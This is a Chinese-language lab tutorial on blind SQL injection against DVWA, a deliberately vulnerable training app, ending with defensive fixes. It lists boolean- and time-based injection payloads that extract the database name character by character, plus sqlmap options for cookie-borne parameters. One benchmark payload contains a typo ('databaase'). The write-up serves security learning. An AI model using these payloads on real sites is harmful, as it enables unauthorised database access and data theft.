DVWA(七)—— SQL盲注

概念

  • 数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态

准备

  • Firefox、DVWA、Max HackBar、SQLMAP

破解过程

low等级

手工方式

布尔型

  1. 先输入1和-1分别查看提示信息

  2. 真 and 假 = 假

  3. 确定POC:打开DVWA的SQL盲注页面,输入

    1 or 1024=1025    真状态,说明or后面的语句没有被插进去
    1' or '1024'='1025    假状态,说明or后面的语句插进去了,挖掘出SQL盲注漏洞
    1" or "1024"="1025    真状态,说明or后面的语句没有被插进去
    
  4. 盲注思路:

    1' and 真 --     为真
    1' and 假 --     为假
    
  5. 用类似暴力破解的方法破解SQL盲注

  6. 先确定数据库名的长度,利用二分法不断判断确定
    1' and length(database())>1 --

  7. 知道长度,然后一个字符一个字符的比对
    获取子字符串:select substr(原始字符串,子串开始位置,子串长度)
    获取第一个字符的ASCII数值(字符串):ascii('string')

    单字符ASCII码范围:0-127
    1' and ascii(substr(database(),1,1))>64 --,确定了数据库名为dvwa

延时型

  • 如果数据库名的长度为4,就休眠5s:1' and sleep(if(length(database())=4,5,0)) --
  • 如果数据库名的长度为4,就重复执行5000000次(注意不要设置次数太多):
    1' and benchmark(if(length(databaase())=4,5000000,0),md5('test')) --

自动方式

  • 与回显注入步骤相同
  • 输出详细信息,后面的数字是等级(1-6):-v 3

medium等级

  • 与回显注入步骤相同

high等级

手动方式

  • 同上

自动方式

  • 回显注入的方法失效,发现id参数跑到了cookie中
  • 支持cookie参数检测(level≥2):--level 2

impossible等级

  • 同样检测了id数据类型,使用预编译绑定id变量,有效防止SQL注入

修复

  • 参数化SQL语句
  • 数据类型检测
  • 用户输入过滤
上一篇:DVWA-文件上传学习笔记


下一篇:web渗透环境搭建